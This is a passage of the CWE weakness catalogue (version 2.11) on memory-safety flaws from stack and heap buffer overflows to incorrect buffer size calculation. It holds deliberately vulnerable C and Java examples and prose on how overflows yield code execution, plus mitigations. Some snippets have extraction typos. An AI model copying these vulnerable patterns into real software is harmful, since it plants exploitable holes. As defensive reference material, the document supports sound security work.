There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which he places arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

Other Notes

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

### White Box Definitions

A stack-based buffer overflow is a weakness where the code path includes a buffer write operation such that:

1. stack allocation of a buffer
2. data is written to the buffer where
3. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to size of data added to position from which writing operation starts

### References

### CWE-122: Heap-based Buffer Overflow

**Weakness ID:** 122 *(Weakness Variant)*

**Status:** Draft

### Description

**Summary**

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

**Languages**

- C
- C++

### Common Consequences

**Availability**

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
CWE Version 2.11
CWE-122: Heap-based Buffer Overflow

**Integrity**
**Confidentiality**
**Availability**
**Access Control**
**Execute unauthorized code or commands**
**Bypass protection mechanism**
**Modify memory**

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.

**Likelihood of Exploit**
High to Very High

**Demonstrative Examples**

**Example 1:**
While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

**C Example:**
```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in `argv[1]` will not exceed this size and cause an overflow.

**Example 2:**
This example applies an encoding procedure to an input string and stores it into a buffer.

**C Example:**
```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Observed Examples

<td>Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Pre-design:** Use a language or compiler that performs automatic bounds checking.

**Architecture and Design**

Use an abstraction library to abstract away risky APIs. Not a complete solution.

**Build and Compilation**

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

**Implementation**

Implement and perform bounds checking on input.

**Libraries or Frameworks**

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

**Operation**

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

### Weakness Ordinalities

**Primary** *(where the weakness exists independent of other weaknesses)*

White Box Definitions

A buffer overflow where the buffer from the Buffer Write Operation is dynamically allocated.

References

CWE-123: Write-what-where Condition

Weakness ID: 123 (Weakness Base) Status: Draft

Description

Summary

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity
Confidentiality
Availability
Access Control
Modify memory

Execute unauthorized code or commands
Gain privileges / assume identity
DoS: crash / exit / restart

Bypass protection mechanism

Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
CWE Version 2.11
CWE-123: Write-what-where Condition

Integrity
Availability
DoS: crash / exit / restart
Modify memory
Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.

Access Control
Other
Bypass protection mechanism
Other
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit
High

Demonstrative Examples
The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

C Example:

```c
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to `strcpy()` can be used to write past the end of `buf1`, and, with a typical layout, can overwrite the accounting information that the system keeps for `buf2` when it is allocated. Note that if the allocation header for `buf2` can be overwritten, `buf2` itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for `buf2` will probably be `buf1`, and the next chunk may be null. When the `free()` occurs, most memory allocators will rewrite the linked list using data from `buf2`. Particularly, the "next" chunk for `buf1` will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where he has placed malicious code, resulting in arbitrary code execution.

Potential Mitigations

Architecture and Design
Language Selection
Use a language that provides appropriate memory abstractions.

Operation
Use OS-level preventative functionality integrated after the fact. Not a complete solution.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

### CWE-124: Buffer Underwrite (‘Buffer Underflow’)

**Weakness ID:** 124 (Weakness Base) **Status:** Incomplete

**Description**

**Summary**

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

**Extended Description**

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

**Alternate Terms**

buffer underrun

Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**

- Integrity
- Availability
- Modify memory

**DoS: crash / exit / restart**

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.
Integrity
Confidentiality
Availability
Access Control
Other
Execute unauthorized code or commands
Modify memory
Bypass protection mechanism
Other
If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.

Access Control
Other
Bypass protection mechanism
Other
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit
Medium
Demonstrative Examples
Example 1:
In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

C/C++ Example:

```
char* trimTrailingWhitespace(char *strMessage, int length) {  
    char *retMessage;  
    char *message = malloc(sizeof(char)*(length+1));  
    // copy input string to a temporary string  
    char message[length+1];  
    int index;  
    for (index = 0; index < length; index++) {  
        message[index] = strMessage[index];  
    }  
    message[index] = '\0';  
    // trim trailing whitespace  
    int len = index-1;  
    while (isspace(message[len])) {  
        message[len] = '\0';  
        len--;  
    }  
    // return string without trailing whitespace  
    retMessage = message;  
    return retMessage;  
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:
The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:
CWE Version 2.11
CWE-124: Buffer Underwrite ('Buffer Underflow')

C Example:

Bad Code

```c
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

**Observed Examples**

CWE-125: Out-of-bounds Read

Description

Summary
The software reads data past the end, or before the beginning, of the intended buffer.

Extended Description
This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C
• C++

Common Consequences
Confidentiality
Read memory

Demonstrative Examples
In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

C Example:
```c
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

C Example:
```c
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

---

**CWE-126: Buffer Over-read**

**Weakness ID:** 126 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

**Extended Description**

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**
Confidentiality
Read memory

Demonstrative Examples
In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C/C++ Example:

```c
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

CWE-128: Wrap-around Error

Weakness ID: 128 (Weakness Base) Status: Incomplete

Description
Summary
Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

Time of Introduction
• Implementation

Applicable Platforms
Languages
Common Consequences

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: instability
This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity
Modify memory
If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit
Medium

Demonstrative Examples
The following image processing code allocates a table for images.

C Example:

```c
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Potential Mitigations
Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Architecture and Design
Provide clear upper and lower bounds on the scale of any protocols designed.

Implementation
Place sanity checks on all incremented variables to ensure that they remain within reasonable bounds.

Background Details
Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

**CWE-129: Improper Validation of Array Index**

**Weakness ID:** 129 *(Weakness Base)*  
**Status:** Draft

#### Description

**Summary**

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

**Alternate Terms**

- out-of-bounds array index
- index-out-of-range
- array index underflow

#### Time of Introduction

- Implementation

#### Applicable Platforms

**Languages**

- C *(Often)*
- C++ *(Often)*
- Language-independent

#### Common Consequences
Integrity
Availability
DoS: crash / exit / restart
Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.

Integrity
Modify memory
If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.

Confidentiality
Integrity
Modify memory
Read memory
Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.

Integrity
Availability
Confidentiality
DoS: crash / exit / restart
Execute unauthorized code or commands
Read memory
Modify memory
A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a
dynamic test might not produce any noticeable side effects even if it is successful.

Demonstrative Examples

Example 1:
In the code snippet below, an untrusted integer value is used to reference an object in an array.

**Java Example:**
```java
public String getValue(int index) {
    return array[index];
}
```

If index is outside of the range of the array, this may result in an ArrayIndexOutOfBoundsException
Exception being raised.

Example 2:
The following example takes a user-supplied value to allocate an array of objects and then
operates on the array.

**Java Example:**
```java
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0
and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 3:
In the following code, the method retrieves a value from an array at a specific array index location
that is given as an input parameter to the method

**C Example:**
```c
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }else {
        // if array index is invalid then output error message
        // and return value indicating error
        printf("Value is: \%d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of
the array but does not check for the minimum value (CWE-839). This will allow a negative value
to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and
may allow access to sensitive memory. The input array index should be checked to verify that is
within the maximum and minimum range required for the array (CWE-129). In this example the if
statement should be modified to include a minimum range check, as shown below.

**C Example:**
```c
...
// check that the array index is within the correct
// range of values for the array
```
if (index >= 0 && index < len) {
    ...
}

Example 4:
The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

C Example:  
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0) {
        // continue read from socket until buf only contains '.
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            sizes[num - 1] = size;
        }
    }
    ...
}

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

C Example:  
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0) {
        // continue read from socket until buf only contains '.
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
    ...
}

Example 5:
In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the
getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

**Java Example:**

```java
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("";
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

**Java Example:**

```java
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("";
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

**Java Example:**

```java
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
... try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

**Example 6:**

The following example asks a user for an offset into an array to select an item.

**C Example:**

```c
int main (int argc, char **argv) {
    char "items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Observed Examples**

Potential Mitigations

Architecture and Design

Input Validation

Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

Operation

Environment Hardening

Defense in Depth

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.129.3] [R.129.4] and Position-Independent Executables (PIE) [R.129.8].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation

Environment Hardening

Defense in Depth

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.129.4] [R.129.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.
Implementation
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.129.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
Weakness Ordinalities
**Resultant (where the weakness is typically related to the presence of some other weaknesses)**

The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

**Relationship Notes**

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

**Theoretical Notes**

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

**Affected Resources**

- Memory

**Causal Nature**

Explicit (an explicit weakness resulting from behavior of the developer)

CWE-130: Improper Handling of Length Parameter Inconsistency

**Weakness ID:** 130 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

**Extended Description**

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

**Alternate Terms**

- length manipulation
- length tampering

**Time of Introduction**

**Applicable Platforms**

**Languages**

- C *(Sometimes)*
- C++ *(Sometimes)*
CWE Version 2.11

CWE-130: Improper Handling of Length Parameter Inconsistency

Common Consequences

Other

Varies by context

Demonstrative Examples

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C/C++ Example:

```c
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Potential Mitigations

**Implementation**

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

**Implementation**

Do not let the user control the size of the buffer.

**Implementation**

Validate that the length of the user-supplied data is consistent with the buffer size.

### Weakness Ordinalities

CWE-131: Incorrect Calculation of Buffer Size

**Weakness ID:** 131 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**
The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C
- C++

**Common Consequences**

- Integrity
- Availability
- Confidentiality
- DoS: crash / exit / restart
- Execute unauthorized code or commands
- Read memory
- Modify memory

If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.

**Likelihood of Exploit**
High to Very High

**Detection Methods**

**Automated Static Analysis**
High

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.
CWE Version 2.11
CWE-131: Incorrect Calculation of Buffer Size

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis
Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
